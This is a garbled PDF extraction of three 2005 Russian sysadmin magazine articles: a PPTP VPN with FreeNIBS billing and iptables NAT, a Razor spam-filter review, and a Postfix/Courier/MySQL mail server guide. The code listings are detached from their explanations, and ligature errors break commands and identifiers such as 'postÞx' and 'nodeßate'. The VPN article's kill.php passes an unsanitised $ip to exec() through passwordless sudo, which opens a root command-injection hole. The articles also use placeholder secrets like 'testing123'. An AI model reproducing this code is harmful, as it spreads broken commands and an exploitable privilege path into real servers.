Использование данной технологии предоставляет не-сколько преимуществ, которых не имеет аналогичная сис-тема, построенная с использованием прокси-сервера. Во-первых, весь передаваемый трафик шифруется, что поз-воляет избежать перехвата данных в локальной сети. Во-вторых, используя прокси-сервер, очень трудно организо-вать корректное отключение пользователя при превыше-нии лимита на трафик. Это связано с тем, что подсчет тра-

ОРГАНИЗУЕМ ДОСТУП В ИНТЕРНЕТОРГАНИЗУЕМ ДОСТУП В ИНТЕРНЕТС ИСПОЛЬЗОВАНИЕМ БИЛЛИНГОВОЙ СИСТЕМЫ С ИСПОЛЬЗОВАНИЕМ БИЛЛИНГОВОЙ СИСТЕМЫ FFreereeNIBSNIBS

ЕВГЕНИЙ ЛИТВИНЕНКОЕВГЕНИЙ ЛИТВИНЕНКО

Одна из ваших основных задач – предоставить пользователям возможность доступа

в Интернет из локальной сети. Традиционно используемый для этой цели прокси-сервер

имеет некоторые недостатки, которых нет у системы, предлагаемой вам сегодня.

Page 45: 034 Системный Администратор 09 2005

43№9, сентябрь 2005

администрирование

фика ведется с использованием протоколов прокси-серве-ра, в которые информация о трафике записывается только по окончании скачивания файла. То есть если у пользова-теля до превышения лимита осталось 2 Мб, а он решит за-качать файл размером 10 Мб, то прокси-сервер позволит это сделать. Главное, чтобы не оборвалось соединение.

Настройка сервера VPNСети VPN используют протокол PPTP (Point-to-Point Tunneling Protocol), который реализует пакет pptpd. Компиляция и ус-тановка пакета описаны в разделе «Пересборка пакетов». Аналогично собирается и устанавливается пакет pppd, ре-ализующий протокол связи PPP (Point-to-Point Protocol). PPTP использует PPP при установке соединения с кли-ентским компьютером. Сервис pppd использует конфигу-рационный файл /etc/ppp/options. Демон – /etc/pptpd.conf и /etc/ppp/options.pptpd (последний указывается непосредс-твенно в pptpd.conf и может быть изменён на файл с дру-гим именем).

Сперва настраиваем и тестируем связку pptpd+pppd в «чистом» виде, используя для авторизации пользовате-лей данные, хранящиеся в /etc/ppp/chap-secrets.

В файле /etc/pptpd.conf дописываются следующие стро-ки:

Настройки VPN-подключения описаны в файле /etc/ppp/options.pptpd.

Для VPN-соединения, использующего MPPE-шифро-вание, необходимо отключить алгоритмы сжатия переда-ваемых данных:

Pppd поддерживает несколько протоколов аутентифика-ции. Это PAP, CHAP, MSCHAP. Протоколы семейства CHAP более надежны, нежели PAP, так как PAP передает пароль по сети в открытом виде, а CHAP – только его хеш-сумму. Клиентами Windows используется протокол авторизации MSCHAP и его обновленная версия MSCHAP-v2. Необходи-мо отключить ненужные протоколы и разрешить использо-вание только протоколов MSCHAP/MSCHAP-v2:

Всегда существует опасность перехвата данных в ло-кальной сети. Поэтому в целях безопасности устанавлива-ем принудительное шифрование трафика:

Для проверки работоспособности VPN-сервера созда-ем тестовую учетную запись. Пользовательские данные хранятся в файле /etc/ppp/chap-secrets в следующем фор-мате:

Например:

Имя сервера, как правило, не указывают. Вместо него ставится символ «*».

Теперь можно подключаться к серверу. Если возникли какие-то проблемы – изучайте протоколы.

После того как заработала связка pptpd+pppd, настраи-вается система авторизации FreeRadius и система подсче-та трафика FreeNIBS.

Настройка биллинговой системыСама по себе вышесозданная система не обладает гиб-костью. А перед системным администратором часто сто-ит задача – распределить интернет-трафик между пользо-вателями. Хорошим тоном является выделение для поль-зователя фиксированного количества мегабайт интернет-трафика в месяц. Отсюда вытекает необходимость вес-ти статистику для каждого пользователя, которая содер-жала бы количество принятых и переданных байт за од-но подключение и целиком за месяц. Все эти возможнос-ти реализует пакет FreeNIBS (Neon internet Billing System for FreeRadius). FreeNIBS является надстройкой для паке-та FreeRadius. FreeRadius – это одна из реализаций прото-кола RADIUS (Remote Authentication Dial In User Service), ко-торый служит для авторизации удаленных пользователей. Первоначально протокол разрабатывался для больших мо-демных пулов, но реализация получилась настолько удач-ной, что сейчас он используется не только для DialUP-под-ключений, но и для IP-телефонии и организации доступа в VPN-сети. FreeNIBS использует FreeRadius для автори-зации пользователей.

Пакет собирается из исходников. В результате компи-ляции получается несколько пакетов. Основными являются freenibs-0.0.3-0.9.3-alt4.i686.rpm и freeradius-0.9.3-alt4.i686.rpm. Остальные пакеты добавляют в программу поддержку различных баз данных и скриптовых языков. В данном про-екте используется сервер баз данных MySQL, поэтому до-полнительно устанавливается пакет freeradius-mysql-0.9.3-alt4.i686.rpm.

FreeRadius состоит из двух частей – клиента и серве-ра. Сервер реализует протокол RADIUS. Клиентом являет-ся сервер доступа (NAS – Network Access Server), в данном случае это VPN-сервер. Для того чтобы pptp взаимодейс-твовал с Radius-сервером, в файл /etc/ppp/options.pptpd до-бавляем следующие строки:

refuse-paprefuse-chaprequire-mschaprequire-mschapv2

nobsdcompnodeßate

// предельная скорость соединения, бит/сspeed 115200// подключаем файл с параметрамиoption /etc/ppp/options.pptpd// включаем отладочный режимdebug// IP-адрес на стороне сервера. Используется для установки// двухточечного соединенияlocalip 192.168.100.1// IP-адрес на стороне клиента. Указывается один адрес или // диапазон адресов, один из которых выдается клиентскому// компьютеру при установке VPN-соединения. В данном примере// выделяется диапазон адресов: 192.168.101.1-192.168.101.100remoteip 192.168.101.1-100

require-mppe

имя _ пользователя имя _ сервера пароль IP-адрес

test * 123 192.168.101.1

plugin radius.soplugin radattr.so

Page 46: 034 Системный Администратор 09 2005

44

администрирование

В файле /etc/raddb/clients.conf перечисляются все кли-енты, которые будут обращаться к Radius-серверу. Так как в нашем случае он один, то файл содержит только следу-ющее:

Здесь говорится, что клиент будет обращаться с локаль-ной машины (адрес 127.0.0.1). Параметр secret содержит ключевое слово, которое позволяет серверу идентифици-ровать отдельных клиентов. Параметр shortname содержит имя (краткое) хоста клиента, а в параметре nastype хранит-ся тип клиента. В данном случае он не совпадает со стан-дартными, поэтому там указывается значение other.

Настройки клиента RADIUS хранятся в каталоге /etc/radiusclient. А записи о сервере хранятся в файле /etc/radiusclient/servers, где необходимо лишь записать адрес сервера и ключевое слово:

Для хранения пользовательских аккаунтов и статисти-ки используется база данных MySQL. Параметры для до-ступа к базе содержатся в файле /etc/raddb/nibs.conf. Ре-дактируются следующие строки:

Здесь стоит упомянуть, что FreeNIBS может работать с пользователями в двух режимах – простом и професси-ональном. В простом режиме для всех пользователей оп-ределенной группы используются единые настройки груп-пы. В профессиональном режиме у каждого пользователя могут быть индивидуальные настройки.

Далее необходимо настроить саму базу данных. В паке-те исходных текстов в каталоге freeradius/src/modules/rlm_nibs/drivers/rlm_nibs_mysql (здесь и далее если не указан абсолютный путь, то речь идёт об исходных текстах пакета FreeNIBS) находятся файлы с описанием структур таблиц. Файл nibs_mysql.sql содержит набор SQL-команд для созда-ния базы данных freenibs и таблиц в ней. Файл nibs_mysql_prof_add.sql содержит запросы, модифицирующие ранее созданные таблицы, для их использования в профессио-нальном режиме.

В файле nibs_mysql.sql редактируется строка с паро-лем для пользователя базы данных freenibs. После этого запросы необходимо передать MySQL. Это делается сле-дующими командами:

Чтобы включить профессиональный режим, необходи-мо, помимо модификации таблиц, раскомментировать сле-дующую строку в файле nibs.conf (и не забыть перезапус-тить FreeRadius, если он уже работает):

Здесь описывается запрос к базе данных, который про-изводится во время авторизации пользователя.

Чтобы отслеживать IP-адреса компьютеров, с которых производится подключение, в файл /etc/pptpd.conf добав-ляется следующая строка:

call-pppd – это bash-скрипт, производящий запуск pppd с до-полнительными параметрами, IP-адресом машины кли-ента и её MAC-адресом. Эта позволяет отслеживать ад-министратору, с каких именно компьютеров производит-ся подключение.

При превышении лимита на трафик пользователь дол-жен быть отключен от сервера. За это отвечает специаль-ный скрипт, путь к которому указывается в файле /etc/raddb/nibs.conf, в параметре kill_program. С пакетом FreeNIBS идет специальный скрипт для отключения пользователей, «за-точенный» под протокол PPP:

Работа с пользователями и просмотр статистики произ-водятся через веб-интерфейс. Он предназначен для рабо-ты на виртуальном сервере. После создания виртуального хоста файлы веб-интерфейса, находящиеся в src/modules/rlm_nibs/utils/web, копируются в соответствующий каталог. Так как интерфейсов два (администрирование системы и просмотр статистики), то и виртуальных хостов соответс-твенно будет столько же.

Необходимо отредактировать только файл include/mysql.php и прописать в нём соответствующие имя пользователя и пароль для доступа к базе данных.

Веб-интерфейс можно дорабатывать, добавляя новые возможности. В данном проекте была добавлена возмож-ность сброса пользователей с линии на странице «Online». Для этого в существующий файл online.php была добавле-на ссылка для вызова скрипта kill.php. Скрипту передает-ся параметр – IP-адрес пользователя, которого необходи-мо «сбросить».

Файл kill.php содержит следующие строки:

pppkill является привилегированной командой. То есть вы-звать ее можно либо пользователю root, либо с помощью утилиты sudo. Так как php-скрипты выполняются от имени пользователя apache, необходимо разрешить ему выпол-

#mysql -u root -p < nibs _ mysql.sql#mysql -u root -p < nibs _ mysql _ prof _ add.sql

authorize _ query _ prof = "SELECT tos, do _ with _ tos, ↵ direction, Þxed, Þxed _ cost, activation _ time, ↵ total _ time _ limit, month _ time _ limit, week _ ↵ time _ limit, day _ time _ limit, total _ trafÞc _ limit, ↵ month _ trafÞc _ limit, week _ trafÞc _ limit, day _ ↵ trafÞc _ limit, total _ money _ limit, ↵ month _ money _ limit, week _ money _ limit, ↵ day _ money _ limit, login _ time, huntgroup _ name, ↵ simultaneous _ use, port _ limit, session _ timeout, ↵ idle _ timeout, allowed _ preÞxes, no _ pass, no _ acct, ↵ allow _ callback, other _ params ↵ FROM ${auth _ table} WHERE user = '%{SQL-User-Name}'"

pppd /usr/sbin/call-pppd

kill _ program = "${sbin _ dir}/pppkill %{Framed-IP-Address}"

<?phpexec("sudo /usr/sbin/pppkill $ip");header("Location:online.php");?>

client 127.0.0.1 {secret = testing123shortname = localhostnastype = other}

localhost testing123

server = "localhost"port = "3306"login = "freenibs"password = "password"

Page 47: 034 Системный Администратор 09 2005

45№9, сентябрь 2005

администрирование

нять эту команду. Для этого в файле /etc/sudoers дописы-вается следующая строка:

Теперь можно создавать пакеты и пользователей. На первых этапах рекомендуется запускать FreeRadius, не используя утилиту service, а из командной строки с па-раметром -X:

Запущенный таким образом FreeRadius отображает под-робные логи в текущей консоли.

Настройка преобразования сетевых адресов (NAT) и фильтрации пакетовСуществуют несколько диапазонов IP-адресов, кото-рые используются только для адресации в локальных се-тях. То есть в сети Интернет эти адреса не используются. К ним относятся подсеть класса A 10.x.x.x и подсети клас-са C 192.168.x.x (также существует диапазон сетей класса B, но он практически не используется).

Провайдер интернет-услуг чаще всего предоставляет только один уникальный адрес, который присваивается интерфейсу, через который осуществляется доступ в сеть Интернет. Для того чтобы компьютеры локальной сети мог-ли получить доступ в Интернет, используется технология преобразования сетевых адресов NAT (Network Address Translation). Суть этой технологии состоит в следующем – во всех пакетах, которые направлены в сеть Интернет, в за-головке локальный адрес отправителя заменяется на вне-шний. В ALM-системe NAT реализует утилита iptables.

Также в круг задач iptables входит фильтрация сетевых пакетов по заданным критериям. Это необходимо в целях безопасности. Используя iptables, можно оградить доступ к локальным службам извне. А также запретить прохожде-ние локальных сетевых пакетов по внешним сетевым ин-терфейсам.

Фильтрацию пакетов можно организовать двумя спо-собами. Запрещать все пакеты и разрешать только необ-ходимые. А можно пропускать все пакеты, запрещая яв-но только те пакеты, которые являются нежелательными. Однако вторая политика чревата очень большими непри-ятностями.

Утилита iptables управляется из командной строки и име-ет огромное число параметров. Для удобства администри-рования создается скрипт, в котором содержатся все необ-ходимые команды. Скрипт помещается в каталог /etc/ppp/ip-up.d. Это гарантирует запуск скрипта после соединения с сетью Интернет.

Чтобы получить возможность передачи пакетов между сетевыми интерфейсами (маршрутизация), дается следу-ющая команда:

Данная команда записывает 1 в файл, находящийся в виртуальной файловой системе /proc.

Перед использованием iptables необходимо отменить все ранее указанные правила (если таковые существова-ли). Для этого запускаем утилиту с ключом -F:

Теперь можно приступать к созданию правил. Здесь не-обходимо выбрать критерии, по которым фильтруются па-кеты. Чаще всего это сетевой адрес отправителя/получа-теля, порт и сетевой интерфейс. Для того чтобы запретить все пакеты, адресуемые извне на порт 3306 (MySQL), да-ется следующая команда:

Здесь:! в параметре -p указывается протокол (tcp);! в параметре -s указывается адрес отправителя (в дан-

ном случае все адреса, не принадлежащие подсети 192.168.0.0./16);

! в параметре -d указывается адрес получателя (здесь адрес, получаемый от провайдера при подключении);

! в параметре --destination-port указывается номер порта (3306);

! в параметре -j указываем действие, которое необходи-мо совершить с пакетом, который удовлетворяет опи-санным критериям (в данном случае уничтожить).

После того как все правила для уничтожения пакетов заданы, необходимо разрешить прохождение всех осталь-ных пакетов:

Для того чтобы заработала система преобразования се-тевых адресов, необходимо дать команду:

В процессе настройки было обнаружено, что операци-онная система Windows XP некорректно передает данные в сети VPN. Для корректной работы необходимо явно за-дать размер фрагментированных пакетов:

После того как заработала система преобразования се-тевых адресов – пользователи локальной сети, – получают возможность практически полноценной работы в сети Ин-тернет. К недостаткам данной системы (точнее, это относит-ся только к NAT) причислить невозможность работы клиен-тов с файлообменными p2p-сетями (например, E-Donkey). Это связано с тем, что сервер файлообменной сети пытает-ся установить прямое соединение с клиентом. Выйти из по-ложения можно, включив форвардинг портов, которые ис-пользует p2p-клиент. В результате работы пользователи получают доступ в сеть Интернет, а администратор – гиб-кий инструмент управления этой системой.

apache ALL = NOPASSWD: /usr/sbin/pppkill

# radiusd -X

# echo "1" > /proc/sys/net/ipv4/ip _ forward

# iptables -F

# iptables -A INPUT -p tcp -s ! 192.168.0.0/16 ↵ -d 195.5.28.227 --destination-port 3306 -j DROP

# iptables -P INPUT ACCEPT# iptables -P OUTPUT ACCEPT# iptables -P FORWARD ACCEPT

# iptables -A POSTROUTING -t nat -s $IP _ REMOTE ↵ -o $PPP _ MODEM -j SNAT --to-source внешний _ ip _ адрес

# iptables -I POSTROUTING 1 -t nat -p tcp ↵ --tcp-ßags SYN,RST SYN -j TCPMSS --set-mss 1024

Page 48: 034 Системный Администратор 09 2005

46

администрирование

Система Razor является сигнатурным анализатором, принцип действия которого заключается в следую-щем. Чтобы определить, является ли сообщение спа-

мом, система рассчитывает его сигнатуру (чтобы не реаги-ровать на незначительные модификации, применяются раз-личные алгоритмы получения нечетких сигнатур) и сверя-ет ее с базой спама, собираемого по всему миру. Если со-ответствие находится, то анализируемое письмо считается спамом и обрабатывается согласно дальнейшим настрой-кам. Если же совпадение не обнаружено, сообщение до-ставляется получателю как обычно. То есть подобные ана-лизаторы действуют аналогично антивирусным пакетам, позволяя отлавливать известные экземпляры спама.

Установка системы……никаких сложностей вызвать не должна. На системах FreeBSD наиболее удобный путь инсталляции дополнитель-ных приложений – использование коллекции портов.

После несложной и непродолжительной инсталляции в каталоге /usr/local/bin появятся пять программ, о назначе-нии которых мы поговорим в дальнейшем:

Более универсальный путь инсталляции, пригодный практически для всех UNIX- и Linux-систем, – установка из исходных кодов. Здесь тоже все банально. Скачиваем пос-ледний архив razor-agents с исходниками с сайта проекта (http://razor.sourceforge.net), распаковываем и затем:

Естественно, в качестве префикса вы можете указать любой путь, который лучше соответствует организации

вашей системы. Для успешной работы в системе должны быть установлены следующие модули Perl: Time::HiRes, Digest::SHA1, MIME::Base64, Test::Simple, Test::Harness, Getopt::Long, File::Copy и URI::Escape. Чтобы не возиться с их установкой по отдельности, можно скачать и поста-вить пакет razor-agents-sdk.

Кроме того, в сети можно найти RPM- и прочие пакеты, подготовленные для удобной установки на тот или иной дис-трибутив Linux. Правда, на сайте проекта ссылки на такие пакеты отсутствуют.

На этом установку можно считать завершенной, перей-дем к первоначальной настройке.

Чтобы все заработало……потребуется выполнить несколько несложных действий. Хотя нужно заметить, что и в конфигурации по умолча-нию Razor способен работать не хуже. Тем не менее, всег-да лучше иметь определенный уровень контроля над ра-ботой установленных программ, поэтому приступим к пер-воначальной настройке.

Прежде всего потребуется создать для Razor рабочий каталог, где он будет хранить свои лог-файлы, кэш и т. п. Если этого не сделать, то при первом запуске Razor домаш-ний каталог будет создан в домашней директории запус-тившего его пользователя под именем .razor.

Создать же домашний каталог в удобном вам месте позволит команда:

Как видите, этой командой в указанном каталоге мы со-здаем необходимые для работы файлы.

Если вы планируете стать активным участником систе-мы Razor и отсылать в центральную базу сообщения, кото-рые вы сочли спамом, но которые не были определены сис-темой, вам необходимо дополнительно зарегистрировать-ся на сервере, для чего используется команда:

«БРИТВА» ДЛЯ СПАМА«БРИТВА» ДЛЯ СПАМАОБЗОР АНАЛИЗАТОРА RAZORОБЗОР АНАЛИЗАТОРА RAZOR

За последние десятилетия человечество научилось довольно успешно бороться

с компьютерными вирусами. А почему бы не использовать подобные методы и для борьбы

со спамом? Один из таких подходов реализован в пакете Vipul’s Razor.

СЕРГЕЙ СУПРУНОВСЕРГЕЙ СУПРУНОВ

# ls -la razor*

-r-xr-xr-x 1 root wheel 933 30 авг 11:25 razor-admin-r-xr-xr-x 1 root wheel 935 30 авг 11:25 razor-check-r-xr-xr-x 1 root wheel 636 30 авг 11:25 razor-client-r-xr-xr-x 1 root wheel 939 30 авг 11:25 razor-report-r-xr-xr-x 1 root wheel 939 30 авг 11:25 razor-revoke

# perl MakeÞle.PL PREFIX=/usr/local# make# make test# make install

# razor-admin -home=/usr/home/serg/.razor -create# ls -l .razor

-rw-r--r-- 1 root serg 484 7 сен 10:50 server.joy.cloudmark.com.conf-rw-r--r-- 1 root serg 20 7 сен 10:50 servers.catalogue.lst-rw-r--r-- 1 root serg 22 7 сен 10:50 servers.discovery.lst-rw-r--r-- 1 root serg 38 7 сен 10:50 servers.nomination.lst

Page 49: 034 Системный Администратор 09 2005

47№9, сентябрь 2005

администрирование

В итоге вы получите личный идентификатор, и для вас система будет вести статистику по «рапортам» (как их от-сылать, рассмотрим немного позже). Если вы часто буде-те пересылать как спам сообщения, другими участниками в качестве такового не рассматриваемые, то ваш рейтинг доверия упадет. Это позволяет снизить возможность про-ведения атак, нацеленных на компрометацию системы пу-тем повышения числа ложных срабатываний.

Дополнительно тонкую подстройку поведения системы можно выполнить, указывая необходимые опции в конфи-гурационном файле /usr/local/etc/razor-agent.conf. В процес-се инсталляции он не создается, но вы можете сформиро-вать его принудительно следующей командой:

При этом указанный файл будет заполнен значениями по умолчанию, которые вы в дальнейшем сможете подкор-ректировать в соответствии со своими предпочтениями и конкретными условиями.

Подробнее с параметрами конфигурации вы сможе-те ознакомиться на странице man razor-agent.conf(1) (хо-тя правильнее было бы поместить эту справку в пятый раздел).

Выполнить проверку почты на спам……позволяет команда razor-check. Например, так можно про-сканировать содержимое вашего почтового ящика:

Данная команда выводит на экран номера сообщений, которые, по ее мнению, являются спамом. На момент тес-тирования в ящике serg лежало 10 бережно сохраненных спамовых писем, но Razor распознал лишь четыре – два англоязычных, и два – отечественного производства. На остальные фильтр никак не отреагировал.

В принципе столь низкая точность распознавания объ-ясняется не очень высокой популярностью данного серви-са на просторах российского Интернета, и потому «родной» спам весьма слабо представлен в базах Razor.

Однако сразу оговорюсь, что полученный мною резуль-тат отнюдь не претендует на статус официального тестиро-вания. Тем более что на столь небольшом количестве об-разцов получить достоверные результаты практически не-возможно. Это следует рассматривать просто как первое впечатление – что получилось, о том и написал.

Чтобы спам отсеивался автоматически……придется прибегнуть к вспомогательным средствам. На-иболее эффективным выглядит взаимодействие с procmail.

На страницах справочного руководства приводится три при-мера подключения Razor:

Чтобы изменить тэг «Subject» в заголовке писем:

Добавляет тэг «X-Razor2-Warning» в заголовок сооб-щений:

Помещает спам в отдельный почтовый ящик:

Подробности смотрите в справке по procmail.

Если Razor ошибся……вы можете указать ему на его ошибку, переслав пропу-щенный спам командой razor-report либо «отозвав» из ба-зы нормальное сообщение, ошибочно признанное спамом, с помощью команды razor-revoke. В обоих случаях вы долж-ны быть зарегистрированы в системе (см. выше). Подроб-ности смотрите на man-страницах этих команд.

И в итоге получилось……что Razor можно лишь с некоторой с натяжкой считать полезным инструментом для определения спама. В соста-ве других средств, например, Spamassassin, эта система еще позволит увеличить качество детектирования неже-лательной почты. Однако его самостоятельное использо-вание, тем более в Рунете, вряд ли можно рассматривать как эффективное решение. Особенно в условиях современ-ного «быстрого» спама, когда рассылка завершается в те-чение одного-двух часов, чего, как правило, недостаточно для накопления достоверного количества «рапортов». Ес-ли к этому добавить еще и все более изощренные способы «индивидуализации» каждого рассылаемого сообщения, с которыми даже нечеткие сигнатуры справляются далеко не всегда, то можно с грустью констатировать, что сигна-турные анализаторы доживают свой век, и вряд ли на них следует делать ставку при построении оборонительных со-оружений на своем сервере.

Удачи.

# razor-admin -home=/usr/home/serg/.razor -register

Register successful. Identity stored in /usr/home/serg/.razor/identity-duej3i5wNF

# razor-admin -create ↵ -conf=/usr/home/serg/.razor/razor-agent.conf

# razor-check -home=/usr/home/serg/.razor ./serg

11152124

:0 Wc| razor-check:0 Waf| formail -i "Subject: Razor Warning: SPAM/UBE/UCE"

:0 Wc| razor-check:0 Waf| formail -A "X-Razor2-Warning: SPAM."

:0 Wc| razor-check:0 Waf/home/foo/Mail/razor-caught

Краткая справкаСистема Razor увидела свет в мае 2000 года. Летом 2002 года был выпущен первый релиз второй ветки (Razor v2). В настоящее вре-мя актуальной является версия 2.77, вышедшая 19 июля 2005 го-да. Распространяется под лицензией ARTISTIC. Помимо версии для POSIX-систем, компанией Cloudmark разрабатывается Razor для программ Outlook и Outlook Express под именем SpamNet.

Page 50: 034 Системный Администратор 09 2005

48

администрирование

С егодня мы рассмотрим настройу почтового сервера на базе ALT Linux Master 2.4. Настройка системы ос-новывается на проекте TNMailServer Project (http://

www.techie.org/Projects/TNMailServer-Full.aspx), создатели которого предоставили структуру базы данных и удобный веб-интерфейс для администрирования почтового серве-ра. Проект TNMailServer отличается от аналогов просто-той в настройке.

Почтовый сервер состоит из нескольких взаимосвязан-ных элементов. Наличие некоторых из них является обяза-тельным, других – опциональным. В нашем случае исполь-зуется следующая рабочая связка: Postfix+MySQL+Courier-IMAP+ fetchmail+SquirrelMail. Рассмотрим функциональное назначение отдельных компонентов:! Postfix – популярный MTA (Mail Transfer Agent), предна-

значенный для приема/передачи писем.! MySQL – сервер баз данных. В данном случае он не-

обходим для хранения пользовательских аккаунтов. Вместо него можно использовать другие БД, напри-мер, PostgreSQL или службу каталогов LDAP. А можно и просто текстовые файлы.

! Courier-IMAP – сервис доступа к почте, поддерживаю-щий протокол IMAP4 и POP3 (опционально).

! Fetchmail – утилита для приема почты. В ее задачи вхо-дит доставка почты от провайдера. Используется толь-ко в том случае, если реальный почтовый ящик находит-ся у провайдера. (Данная методика также может при-меняться, если канал доступа к сети Интернет недоста-точно широк. Таким образом, письма ходят по каналу не постоянно, а забираются через определенные про-межутки времени).

! SquirrelMail – удобный и простой веб-интерфейс для до-ступа к почте.

Для установки вышеперечисленных пакетов дается сле-дующая команда:

Конфигурирование базы данныхТеперь необходимо создать базу данных и таблицы в ней. Структуры таблиц создаются согласно рекомендациям раз-работчиков проекта TNMailServer (см. файл на сайте жур-нала www.samag.ru, в разделе «Исходный код» или на сай-те проекта TNMailServer Project – http://techie.org/Projects/TNMailServer.aspx?selForm=01-Introduction).

Сервер принимает запросы к базе данных по запуску следующей команды:

Названия полей непринципиальны, так как в конфигу-рационном файле Postfix указывается, что в конкретном поле будет храниться.

Настройка PostfixДалее настраиваем Postfix. Конфигурационные файлы па-кета находятся в каталоге /etc/postfix. В файле main.cf из-меняются следующие параметры:

НАСТРАИВАЕМ ОСНОВНЫЕ КОМПОНЕНТЫ НАСТРАИВАЕМ ОСНОВНЫЕ КОМПОНЕНТЫ ПОЧТОВОГО СЕРВЕРАПОЧТОВОГО СЕРВЕРА

ЕВГЕНИЙ ЛИТВИНЕНКОЕВГЕНИЙ ЛИТВИНЕНКО

# apt-get install postÞx postÞx-mysql courier-imap ↵ courier-authdaemon-mysql fetchmail squirrelmail

# mysql -u root -p

myhostname = mail.net.lps

Конфигурирование почтового сервера – задача далеко не легкая. Множество почтовых

программ и их настроек могут стать для неопытного системного администратора настоящей

головной болью. Описываемая в статье система проста в конфигурировании и практически

не требует отладки.

Page 51: 034 Системный Администратор 09 2005

49№9, сентябрь 2005

администрирование

указываем доменное имя почтового узла.

в этом параметре указывается имя обслуживаемого до-мена.

в параметре указываются сетевые интерфейсы, на которых принимает запросы Postfix. Так как в дальнейшем работа с почтой будет производиться через веб-интерфейс, то ука-зываем только loopback-интерфейс, что повышает уровень безопасности системы в целом. Теперь к Postfix могут об-ратиться только локальные приложения.

указываем каталог, в котором будет храниться содержи-мое почтовых ящиков.

В приведенном примере используется каталог /opt, так как он расположен на отдельном разделе. Традиционно поч-та хранится в каталоге /var.

в этом параметре назначается максимальный размер поч-тового ящика (~50 Мб).

Теперь необходимо указать поля базы данных, которые будет использовать Postfix:

данная переменная отвечает за извлечение из базы e-mail-адреса перенаправления почты (форвардинг).

Файл TNMailServer-Alias.cf содержит следующие дан-ные:

где:! user – имя пользователя базы данных;! password – пароль;! table – имя таблицы в базе данных;! hosts – доменное имя хоста, на котором расположен сер-

вер баз данных;! dbname – имя базы данных;! select_field – содержит имя поля таблицы, данные из ко-

торого необходимо извлечь;! where_field – содержит имя поля, по условию которого

извлекается значение из select_field.

В данном примере мы извлекаем адрес перенаправле-ния почтовых сообщений из записи, которая содержит не-обходимый e-mail-адрес.

этот параметр отвечает за извлечение из БД имен вирту-альных доменов.

Файл TNMailServer-Domain.cf помимо общих записей со-держит следующее:

В поле Name содержится имя виртуального домена.

данный параметр отвечает за извлечение из БД пути к поч-товому ящику.

Файл TNMailServer-Mailbox.cf содержит следующее:

Поле MailDirLocation содержит путь к каталогу почто-вого ящика относительно пути, указанного в параметре virtual_mailbox_base.

здесь определяется максимальный размер почтового ящи-ка (используется, если поле содержит значение отличное от нуля, иначе используется значение, указанное в пара-метре virtual_mail_box из файла main.cf).

В файле TNMailServer-Quota.cf хранится следующее:

Теперь необходимо указать, куда направлять почту, ко-торая адресована во «внешний мир». Здесь определяется адрес сервера:

В конфигурационном файле также присутствуют строки, в которых записаны идентификаторы пользователя и груп-пы. Этому пользователю принадлежат каталоги почтовых ящиков и их файлы. Так как работа с почтой будет произво-диться через веб-интерфейс, то необходимо указать иден-тификаторы пользователя и группы, от имени которого ра-ботает веб-сервер Apache.

Идентификаторы пользователей (UID) хранятся в фай-ле /etc/passwd, идентификаторы групп (GID) – в файле /etc/group. Пользователь apache обычно имеет идентификатор пользователя/группы 96. Однако, чтобы в этом удостове-риться, даем команду:

Теперь необходимо внести соответствующие измене-ния в файл /etc/postfix/main.cf:

mydomain = net.lps

inet _ interfaces = 127.0.0.1

virtual _ mailbox _ base = /opt/vmail

virtual _ mail _ box = 50000000

virtual _ alias _ maps = ↵ proxy:mysql:/etc/postÞx/ TNMailServer-Alias.cf

user = postÞxpassword = passwordhosts = localhostdbname = TNMailServertable = TNAccountselect _ Þeld = ForwardAddresswhere _ Þeld = EmailAddressadditional _ conditions = and active=1

virtual _ mailbox _ domains = ↵ proxy:mysql:/etc/postÞx/ TNMailServer-Domain.cf

table = TNDomainselect _ Þeld = Namewhere _ Þeld = Name

virtual _ mailbox _ maps = ↵ proxy:mysql:/etc/postÞx/ TNMailServer-Mailbox.cf

table = TNAccountselect _ Þeld = MailDirLocationwhere _ Þeld = EmailAddress

virtual _ mailbox _ limit _ maps = ↵ proxy:mysql:/etc/postÞx/ TNMailServer-Quota.cf

table = TNAccountselect _ Þeld = Quotawhere _ Þeld = EmailAddress

relay _ host = gts.lg.ua

# id apache

Page 52: 034 Системный Администратор 09 2005

50

администрирование

Остальные настройки можно оставить по умолчанию.

Настройка IMAP-сервераТеперь необходимо настроить Courier-IMAP. Конфигу-рационные файлы сервиса находятся в каталоге /etc/courier-imap. Courier-IMAP для авторизации пользовате-лей почты использует свой компонент authdaemon. Дан-ный компонент может использовать различные виды сер-веров баз данных, для хранения пользовательских ак-каунтов. Для работы с MySQL устанавливается модуль authdaemon-mysql. (Так как утилита apt-get ставит все па-кеты, от которых зависит устанавливаемый пакет, то до-статочно дать команду для установки пакета authdaemon-mysql, чтобы apt-get установил также пакеты courier-imap и authdaemon.)

Для того чтобы Courier-IMAP использовал authdaemon, в файле /etc/courier-imap/imapd правится следующая строка:

В файле /etc/courier-imap/authdaemon.conf подключаем модуль поддержки MySQL:

Используемые поля базы данных прописываются в конфигурационном файле /etc/courier-imap/authdaemon-mysql.conf:

Настройка интерфейса управленияДля администрирования системы (в частности, для созда-ния почтовых ящиков) предназначен веб-интерфейс. Его ар-хив находится в сети Интернет по адресу: http://www.techie.org/downloads/tnmailserveradmin-1.4.1.tgz. Указанный архив распаковывается в каталог с веб-содержимым (по умол-чанию /var/www). После этого можно администрировать

почтовый сервер с любого компьютера, оснащенного веб-браузером.

Тестирование и отладка системыСоздав два тестовых ящика, можно проверить работоспо-собность почтовой системы. Для этого необходимо подклю-читься к нашему SMTP-серверу через утилиту telnet:

Если сервер запущен, то программа покажет его при-глашение:

После этого сервер готов принимать команды. Снача-ла необходимо «представиться», дав команду HELO имя_домена:

Сервер возвратит ответ:

Теперь можно отправлять письмо. Сначала нужно на-писать e-mail отправителя:

Если e-mail-адрес корректный, то сервер возвратит код ответа 250:

В противном случае сервер возвратит код ошибки ~500 и укажет причину. После того как сервер принял адрес от-правителя, необходимо ввести адрес получателя:

Сервер возвращает ответ:

Теперь можно вводить текст письма. Сначала дается команда DATA.

Сервер сообщит, что можно вводить текст. Для окончания ввода необходимо нажать клавиши <Enter> <.> <Enter>:

После окончания ввода текста можно отключаться, для чего дается команда QUIT.

После выполнения этой операции в почтовом ящике [email protected] должно появиться письмо от [email protected]. Для проверки необходимо подключиться к IMAP4- или POP3-серверу. Команды POP3-сервера несколько проще, поэто-му используется подключение к POP3-серверу:

Корректно работающий сервер выдаст приглашение к вводу команд:

authmodulelist="authmysql"

